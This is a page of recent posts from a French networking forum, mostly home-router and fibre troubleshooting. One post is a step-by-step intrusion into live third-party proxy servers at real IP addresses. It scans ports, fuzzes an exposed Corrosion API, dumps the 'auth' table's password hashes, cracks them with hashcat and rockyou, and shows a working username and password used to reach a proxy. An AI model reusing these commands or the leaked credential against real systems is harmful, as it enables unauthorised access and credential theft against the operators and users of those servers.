Messages récents

Pages: 1 2 3 4 5 [6] 7 8 9 10
51
Intéressant, je ne connaissait pas personnellement ce proxy corrosion.
Corrosion n'est pas un proxy, c'est juste un système qui permet de répliquer et synchroniser une base SQLite sur plusieurs nœuds d'un cluster. Il y a un proxy qui tourne à côté, qui vraisemblablement stocke sa configuration dans cette base SQLite, que Corrosion synchronise sur tous les noeuds.

Je vais expliquer en gros comment je suis arrivé à ces conclusions, car il y a 2-3 trucs intéressant que d'autres sauront peut-être interpréter.

J'ai commencé par prendre quelques IPs (les 2-3 dernières du fichier de Vivien) et faire un SYN scan classique :
sudo nmap -T4 -p- 64.137.37.17
Sur chacune on voit seulement 2 ports open : 30001, et un autre qui varie suivant les machines.

Sur ce port variable, on a clairement un proxy, qui demande une authentification :
$ curl -gsi 64.137.37.17:6607
HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization."
Proxy-Connection: close
Date: Sat, 06 Jun 2026 20:32:02 GMT
Content-Length: 121
Content-Type: text/plain; charset=utf-8
Connection: close

Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Sur le port 30001, on a un serveur HTTP :
$ curl -gsi 64.137.37.17:30001
HTTP/1.1 404 Not Found
content-length: 0
date: Sat, 06 Jun 2026 20:33:08 GMT

En fuzzant le port 30001 avec feroxbuster et la wordlist apiroutes d'Assetnotes:
feroxbuster -n -w assetnote-wordlists/data/automated/httparchive_apiroutes_2025_10_27.txt -u http://64.137.37.17:30001
On trouve deux choses intéressantes :
  • /v1/health qui retourne quelques stats
  • /v1/subscriptions/pricing, /v1/subscriptions/plans et quelques autres qui retournent tous une erreur "400 Bad Request"
On se rend compte que "/v1/subscriptions/*" attend en fait en dernier élément un UUID, et l'erreur quand l'UUID est mal formé est assez spécifique :
$ curl -gsi http://64.137.37.17:30001/v1/subscriptions/1-2
HTTP/1.1 400 Bad Request
content-type: text/plain; charset=utf-8
content-length: 110
date: Sat, 06 Jun 2026 20:49:15 GMT

Invalid URL: Cannot parse `id` with value `1-2`: UUID parsing failed: invalid group count: expected 5, found 2

En faisant une recherche sur ce message d'erreur, on voit qu'il correspond exactement à celui d'Axum, un framework web en Rust très connu.

En fuzzant à nouveau sous /v1, cette fois avec ffuf (qui a par rapport à feroxbuster l'avantage de pouvoir fuzzer n'importe où dans la requête) et de simples mots:
ffuf -w assetnote-wordlists/data/manual/raft-large-words-lowercase.txt -u 'http://64.137.37.17:30001/v1/FUZZ/xxx' -fc 404 -mc all
On trouve "/v1/updates" en plus de "/v1/subscriptions". En cherchant ces deux termes, on tombe sur Corrosion, un système de clustering pour la base de donnée SQLite. Il est écrit en Rust et utilise bien Axum.

A partir de là, on a la doc pour explorer l'API. On peut notamment récupérer la liste des tables dans la base SQLite :
$ curl -gs http://64.137.37.17:30001/v1/queries -X POST --json '"SELECT name FROM sqlite_schema WHERE type = '\''table'\'' AND name NOT LIKE '\''sqlite_%'\''"' | jq -r '.row[1][0]'
null
crsql_tracked_peers
crsql_db_versions
crsql_master
crsql_site_id
__corro_state
__corro_seq_bookkeeping
__corro_buffered_changes
__corro_members
__corro_schema
__corro_bookkeeping_gaps
auth
auth__crsql_clock
auth__crsql_pks
null

Toutes ces tables sauf "auth" sont en fait utilisée par Corrosion pour son fonctionnement interne.

La table "auth" contient la configuration du proxy comme montré plus haut. En fuzzant avec les IP du tableau de Vivien, on peut chercher celles qui retournent des lignes, et qui donc ont des utilisateurs définis pour le proxy :
cat lafibre_ips.txt | ffuf -w - -u 'http://FUZZ:30001/v1/queries' -X POST -H 'Content-Type: application/json' -d '"SELECT * FROM auth"' -mr '"row"'
Et on trouve 2 IPs : 82.24.249.37 et 82.21.249.30.

A partir de là on peut récupérer les hashs de tous les utilisateurs, et essayer de les casser avec hashcat (ils sont au format "Django") :
hashcat -m 124 -a 0 82.24.249.30_hashes /usr/share/dict/rockyou.txt
On en trouve 4 qui sont dans rockyou.txt, et on peut vérifier que le premier par exemple est bien accepté par le proxy :
curl -gsi -x http://82.24.249.30:5867 --proxy-basic --proxy-user hhhomerj:simpson00 http://example.com
Dans les trucs étonnant, il y a par exemple la table __corro_members, qui contient l'adresse des autres membres du cluster. Il y en a 599, et on peut voir qu'elles sont toutes en 10.x.x.x:3333 :
$ curl -gs http://82.24.249.30:30001/v1/queries -X POST --json '"SELECT * FROM __corro_members"' | jq -r '.row[1][1]' | grep -v '^null$'
10.9.15.139:3333
10.9.5.16:3333
10.9.16.49:3333
...

Ce qui voudrait dire :
  • Soit que que tous les proxies sont sur le même réseau privé
  • Soit que chaque proxy fait aussi tourner un VPN pour communiquer avec les autres
  • Soit ?
52
Si les répéteurs Wifi 7 sont sur prplOS, peut-être que l'API n'est pas la même du tout, enfin si on y a accès !
53
Bonsoir,
@qoissi si on peut aider pour les répéteurs wifi 7, vous nous dites ?
54
Matériel informatique Matériel informatique (réseaux domestiques) / ONU MA5671A dans switch
« Dernier message par rooot le Hier à 22:47:48 »
J'en crois pas mes yeux  >:(
Je viens de découvrir que le mec de mon litige est venu sur le forum pour demander de l'aide pour bypass sa box et je lui ai filé un coup de main. J'ai résolu son problème et il s'est barré sans même dire merci...
https://lafibre.info/remplacer-sfr/sfrred-bypass-box-7-gr140cg-avec-v-sol-v2801q-statut-o5-mais-wan-rx-a-0/

Démasqué par la photo qu'il a posté de son ONT, qui est la meme dans son annonce leboncoin :


Donc son problème c'est qu'il n'a pas été fichu de configurer son routeur correctement.  >:( >:(

Et au passage, je n'ai toujours pas recu mon MA5671A qu'il est sensé m'avoir expédié il y a presque 1 mois...ca sent l'arnaque gros comme une maison.
55
Rognes est effectivement une zone déployée par Orange, AMII dans le cadre des engagements L_33_13, voir ci-dessous la carte ARCEP. Avec le problème de l'adressage, il y a peut-être eu un loupé au moment du déploiement où la maison n'a pas été recensée. Et en plus, il y aurait des fibres cassées.
C'est à l'OI, donc Orange, de faire le nécessaire pour rendre éligible cette maison, surtout si elle était là avant le déploiement.

Mais on tombe sur un problème connu, la difficulté pour un particulier de contacter l'OI, et de le faire bouger. Et on voit que l'OC, l'opérateur commercial, Free, n'est pas très motivé pour faire bouger les choses.

Pour ce qui est de prendre une box 4G/5G, c'est la solution facile que conseille certains professionnels travaillant pour Orange, ce n'est pas du tout la même qualité de connexion et stabilité que la fibre, surtout en zone rurale, et cela ne les dégage pas de leur engagement de complétude des déploiements fibre.

Dans ton cas, j'ai regardé les cartes de couverture Free mobile et Orange en 5G (5G+ pour Free mobile donc présence de 3500 MHz), cella ne semble pas gagné. Quel débit as-tu quand tu fais un test de débit dans ta maison ?

Un professionnel va te dire aussi que ton seul interlocuteur est ton OC, Free, mais on voit que que celui-ci a peu d'influence sur l'OI, et en plus n'est pas très enclin à s'occuper d'un cas hors process.

Tu peux faire un signalement à l'ARCEP en expliquant la situation. Cela ne va certainement pas résoudre le problème rapidement, mais ajoutera au dossier des zones AMII déployées par Orange qui sont en retard.

https://jalerte.arcep.fr/

Sinon, peut-être essayer de faire un test d'éligibilité chez Orange ? c'est eux qui doivent réparer ta fibre, ils auront peut-être de meilleurs contacts avec l'OI Orange ? Ou aller les voir en boutique ?


57
C'est de la merde networkd. J'ai testé, et c'est caca. Je conseil de rester sur du bon ifup/ifdown + dhcpd.

Finalement, après quelques changements de paramétrage et une déconnexion totale pendant plusieurs heures, ça fonctionne de nouveau nickel. J'entends que networkd ne te convient pas. Mais pour le moment, ça fonctionne chez moi et 2 autres personnes chez qui j'ai monté des routeurs Linux, donc je vais rester là dessus.
58
Si quelqu’un peut me donner un petit coup de main. J’utilise networkd pour le remplacement de la livebox ( https://lafibre.info/remplacer-livebox/remplacer-la-livebox-par-systemd-networkd-nftables/ ). J’ai des soucis de déconnexion depuis le passage en Trixie. J’ai ouvert d’ailleurs des bugs chez Debian et systemd pour des choses qui ne fonctionnent pas ou mal.

Là, j’envoie un Solicit en DHCPv6. Le paquet semble bien formé (tout est ok dans wireshark), mais je n’ai pas de réponse. Je précise que la prio est bien à 6 et le DSCP à CS6.

DHCPv6
    Message type: Solicit (1)
    Transaction ID: 0x837bb2
    Identity Association for Prefix Delegation
        Option: Identity Association for Prefix Delegation (25)
        Length: 12
        IAID: dc60dc26
        T1: 0
        T2: 0
    User Class
        Option: User Class (15)
        Length: 45
        User Class suboption
            Length: 43
            Suboption: 46535644534c5f6c697665626f782e496e7465726e65742e736f66746174686f6d652e4c697665626f7835
    Option Request
        Option: Option Request (6)
        Length: 4
        Requested Option code: SOL_MAX_RT (82)
        Requested Option code: Captive Portal (103)
    Client Identifier
        Option: Client Identifier (1)
        Length: 10
        DUID: 0003000144a6xxxxxxxx
        DUID Type: link-layer address (3)
        Hardware type: Ethernet (1)
        Link-layer address: 44:a6:xx:xx:xx:xx
        Link-layer address (Ethernet): IngramMicroS_xx:xx:xx (44:a6:xx:xx:xx:xx)
    Vendor Class
        Option: Vendor Class (16)
        Length: 11
        Enterprise ID: SAGEMCOM SAS (1038)
        vendor-class-data: sagem
    Authentication
        Option: Authentication (11)
        Length: 70
        Protocol: 0
        Algorithm: 0
        RDM: 0
        Replay Detection: 0000000000000000
        Authentication Information: xxxxxx
    Elapsed time
        Option: Elapsed time (8)
        Length: 2
        Elapsed time: 655350ms

Vous voyez un truc qui ne va pas ?

C'est de la merde networkd. J'ai testé, et c'est caca. Je conseil de rester sur du bon ifup/ifdown + dhcpd.
J'avais fait un grand test pour passer de Debian Trixie ifup/ifdown+dhcpd à networkd. Il y a rien d'aussi bien. Rien ne fonctionne comme prévu, impossible de passer des valeur dynamique dans les config (via en var), etc... Une catastrophe. Je suis vite retourné sur le bon vieux system de network.
Pour info je suis l'auteur du tuto Orange  + Debian. (cf: https://lafibre.info/remplacer-livebox/bypass-orange-g-ponxgs-pon-sur-debian-explications-pas-a-pas/)

Si j'ai une recommandation pour toi : stop networkd, tu vas te prendre la tête pour rien. Cette partie de systemd ne devrait même pas être considéré comme en beta tellement les fonctionnalitées sont absentes et non fonctionnelles.
J'avais d'ailleurs évoquer l'ensemble des problèmes dans ton post : https://lafibre.info/remplacer-livebox/remplacer-la-livebox-par-systemd-networkd-nftables/msg1128733/#msg1128733
Et pourtant je l'ai tester fort fort et j'ai tellement voulu que ça soit bien. Mais non ... c'est terriblement moyen voir très passable.
59
Bouygues Telecom Remplacer la Bbox par un routeur / Bbox remplacée par OPNsense
« Dernier message par Olivier34 le Hier à 20:21:58 »
Il y a une régression sur l'application de net.inet.igmp.default_version=2 dans le kernel OPNsense en 26.1.8. La TV ne fonctionne plus de mon côté. J'ai du faire un downgrade en 26.1.7 pour que la TV IP sur le player BBox refonctionne.

Est ce que des personnes ont testés en 26.1.9 ?

C'est surprenant car je suis en 26.1.8_5 et la TV fonctionne sans problème. D'ailleurs je n'ai pas l'impression que la partie noyau ("src") a été modifiée dans la version 26.1.8 contrairement à la version 26.1.9.
60
Free Actus Free / Free Pages Perso la migration en https terminée
« Dernier message par Hugues le Hier à 20:15:00 »
Ça serait marrant de sortir des pages perso chez MilkyWan tiens, je note l’idée ;)
Pages: 1 2 3 4 5 [6] 7 8 9 10